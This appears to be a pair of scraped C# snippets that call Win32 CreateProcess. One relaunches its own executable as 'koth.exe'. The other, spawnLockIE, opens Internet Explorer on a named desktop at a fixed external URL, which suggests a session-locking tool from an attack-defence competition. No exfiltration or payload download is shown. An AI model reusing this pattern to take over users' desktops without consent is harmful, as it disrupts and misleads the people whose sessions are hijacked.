Beispiel #1
0
        static void fork(/*String ws*/)
        {
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            STARTUPINFO         si = new STARTUPINFO();

            si.cb = (uint)Marshal.SizeOf(si);
            //si.lpDesktop = @"Winsta0\" + ws;
            //si.wShowWindow = 1; //SW_SHOWNORMAL
            //si.dwFlags = 0x00000001; // STARTF_USESHOWWINDOW
            Console.WriteLine(External.CreateProcess(System.Reflection.Assembly.GetEntryAssembly().Location, "koth.exe - - -", IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref si, out pi));
        }
Beispiel #2
0
        static void spawnLockIE(String ws)
        {
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            STARTUPINFO         si = new STARTUPINFO();

            si.cb        = (uint)Marshal.SizeOf(si);
            si.lpDesktop = @"Winsta0\" + ws;//C:\Program Files (x86)\Internet Explorer\iexplore.exe
            //si.wShowWindow = 1; //SW_SHOWNORMAL
            //si.dwFlags = 0x00000001; // STARTF_USESHOWWINDOW
            Console.WriteLine(External.CreateProcess(@"C:\Program Files (x86)\Internet Explorer\iexplore.exe", "iexplore.exe -nomerge https://police-polecat-13066.bitballoon.com/", IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, null, ref si, out pi));
        }